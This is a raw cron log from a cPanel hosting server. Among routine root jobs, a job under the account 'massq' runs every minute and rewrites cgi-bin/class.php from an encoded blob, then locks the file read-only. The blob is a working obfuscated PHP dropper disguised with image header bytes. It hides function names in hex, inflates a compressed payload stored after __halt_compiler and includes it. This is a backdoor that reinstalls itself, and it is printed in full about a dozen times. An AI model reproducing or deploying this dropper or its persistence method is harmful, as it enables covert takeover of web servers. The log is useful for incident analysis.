Sep 11 03:33:01 server CROND[11159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:34:01 server CROND[11524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:34:01 server CROND[11525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:34:01 server CROND[11526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:35:01 server CROND[11902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:35:01 server CROND[11903]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 03:35:01 server CROND[11905]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:35:01 server CROND[11912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:35:01 server CROND[11915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:35:01 server CROND[11910]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 03:35:01 server CROND[11916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:35:01 server CROND[11911]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 03:35:01 server CROND[11914]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 03:36:01 server CROND[12772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:36:01 server CROND[12773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:36:01 server CROND[12774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:37:01 server CROND[13139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:37:01 server CROND[13140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:37:01 server CROND[13141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:38:01 server CROND[13633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:38:01 server CROND[13635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:38:01 server CROND[13634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:39:01 server CROND[14017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:39:01 server CROND[14018]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 03:39:01 server CROND[14019]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:39:01 server CROND[14020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:40:01 server CROND[14399]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 03:40:01 server CROND[14402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:40:01 server CROND[14403]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:40:01 server CROND[14404]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 03:40:01 server CROND[14407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:40:01 server CROND[14405]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 03:40:01 server CROND[14408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:40:01 server CROND[14406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:41:01 server CROND[15236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:41:01 server CROND[15237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:41:01 server CROND[15238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:42:01 server CROND[15611]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 03:42:01 server CROND[15612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:42:01 server CROND[15613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:42:01 server CROND[15615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:43:01 server CROND[15981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:43:01 server CROND[15982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:43:01 server CROND[15983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:44:01 server CROND[16436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:44:01 server CROND[16437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:44:01 server CROND[16438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:45:01 server CROND[16814]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:45:01 server CROND[16815]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 03:45:01 server CROND[16818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
